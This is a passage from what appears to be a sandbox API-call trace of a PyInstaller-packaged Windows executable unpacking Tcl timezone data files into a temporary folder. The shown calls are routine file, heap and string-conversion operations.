hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.278] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.278] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.278] CloseHandle (hObject=0x10c) returned 1 [0040.279] GetLastError () returned 0x0 [0040.279] SetLastError (dwErrCode=0x0) [0040.279] GetLastError () returned 0x0 [0040.279] SetLastError (dwErrCode=0x0) [0040.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.279] GetFileType (hFile=0x10c) returned 0x1 [0040.279] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.279] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.279] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.279] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.279] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.279] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.279] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.279] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.279] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.279] CloseHandle (hObject=0x10c) returned 1 [0040.279] GetLastError () returned 0x0 [0040.279] SetLastError (dwErrCode=0x0) [0040.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.280] GetFileType (hFile=0x10c) returned 0x1 [0040.280] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.280] CloseHandle (hObject=0x10c) returned 1 [0040.280] GetLastError () returned 0x0 [0040.280] SetLastError (dwErrCode=0x0) [0040.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.280] GetFileType (hFile=0x10c) returned 0x1 [0040.280] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.281] CloseHandle (hObject=0x10c) returned 1 [0040.281] GetLastError () returned 0x0 [0040.281] SetLastError (dwErrCode=0x0) [0040.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macau") returned 67 [0040.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\macau"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.281] GetLastError () returned 0x2 [0040.281] SetLastError (dwErrCode=0x2) [0040.281] GetLastError () returned 0x2 [0040.281] SetLastError (dwErrCode=0x2) [0040.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macau", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macau", lpFilePart=0x0) returned 0x42 [0040.281] GetLastError () returned 0x2 [0040.281] SetLastError (dwErrCode=0x2) [0040.281] GetLastError () returned 0x2 [0040.281] SetLastError (dwErrCode=0x2) [0040.281] GetLastError () returned 0x2 [0040.281] SetLastError (dwErrCode=0x2) [0040.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macau") returned 67 [0040.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Macau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\macau"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.282] GetFileType (hFile=0x10c) returned 0x1 [0040.282] htonl (hostlong=0x6050000) returned 0x506 [0040.282] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.282] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x506, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x506, lpOverlapped=0x0) returned 1 [0040.283] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.283] CloseHandle (hObject=0x10c) returned 1 [0040.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.284] htonl (hostlong=0x30000000) returned 0x30 [0040.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.284] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.284] GetFileType (hFile=0x10c) returned 0x1 [0040.284] htonl (hostlong=0x4ffd5a00) returned 0x5afd4f [0040.284] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fad4f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.284] htonl (hostlong=0xe020000) returned 0x20e [0040.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20e) returned 0x550600 [0040.284] htonl (hostlong=0xe020000) returned 0x20e [0040.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.284] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.284] htonl (hostlong=0xe080000) returned 0x80e [0040.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80e) returned 0x55e278 [0040.284] htonl (hostlong=0xe020000) returned 0x20e [0040.284] htonl (hostlong=0xe080000) returned 0x80e [0040.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.284] CloseHandle (hObject=0x10c) returned 1 [0040.284] GetLastError () returned 0x0 [0040.284] SetLastError (dwErrCode=0x0) [0040.285] GetLastError () returned 0x0 [0040.285] SetLastError (dwErrCode=0x0) [0040.285] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.285] GetFileType (hFile=0x10c) returned 0x1 [0040.285] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.285] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.285] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.285] CloseHandle (hObject=0x10c) returned 1 [0040.285] GetLastError () returned 0x0 [0040.285] SetLastError (dwErrCode=0x0) [0040.285] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.285] GetFileType (hFile=0x10c) returned 0x1 [0040.285] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.285] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.286] CloseHandle (hObject=0x10c) returned 1 [0040.286] GetLastError () returned 0x0 [0040.286] SetLastError (dwErrCode=0x0) [0040.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.286] GetFileType (hFile=0x10c) returned 0x1 [0040.286] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.286] CloseHandle (hObject=0x10c) returned 1 [0040.286] GetLastError () returned 0x0 [0040.286] SetLastError (dwErrCode=0x0) [0040.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Magadan") returned 69 [0040.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Magadan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\magadan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.287] GetLastError () returned 0x2 [0040.287] SetLastError (dwErrCode=0x2) [0040.287] GetLastError () returned 0x2 [0040.287] SetLastError (dwErrCode=0x2) [0040.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Magadan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Magadan", lpFilePart=0x0) returned 0x44 [0040.287] GetLastError () returned 0x2 [0040.287] SetLastError (dwErrCode=0x2) [0040.287] GetLastError () returned 0x2 [0040.287] SetLastError (dwErrCode=0x2) [0040.287] GetLastError () returned 0x2 [0040.287] SetLastError (dwErrCode=0x2) [0040.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Magadan") returned 69 [0040.287] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Magadan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\magadan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.287] GetFileType (hFile=0x10c) returned 0x1 [0040.287] htonl (hostlong=0xe080000) returned 0x80e [0040.287] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.287] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x80e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x80e, lpOverlapped=0x0) returned 1 [0040.299] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.299] CloseHandle (hObject=0x10c) returned 1 [0040.299] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.299] htonl (hostlong=0x30000000) returned 0x30 [0040.299] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.299] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.300] GetFileType (hFile=0x10c) returned 0x1 [0040.300] htonl (hostlong=0x5dff5a00) returned 0x5aff5d [0040.300] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5faf5d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.300] htonl (hostlong=0xa9000000) returned 0xa9 [0040.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa9) returned 0x55cfe0 [0040.300] htonl (hostlong=0xa9000000) returned 0xa9 [0040.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.300] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.300] htonl (hostlong=0xe9000000) returned 0xe9 [0040.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe9) returned 0x550600 [0040.300] htonl (hostlong=0xa9000000) returned 0xa9 [0040.300] htonl (hostlong=0xe9000000) returned 0xe9 [0040.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.300] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.300] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.300] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.301] CloseHandle (hObject=0x10c) returned 1 [0040.301] GetLastError () returned 0x0 [0040.301] SetLastError (dwErrCode=0x0) [0040.301] GetLastError () returned 0x0 [0040.301] SetLastError (dwErrCode=0x0) [0040.301] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.301] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.301] GetFileType (hFile=0x10c) returned 0x1 [0040.301] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.301] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: 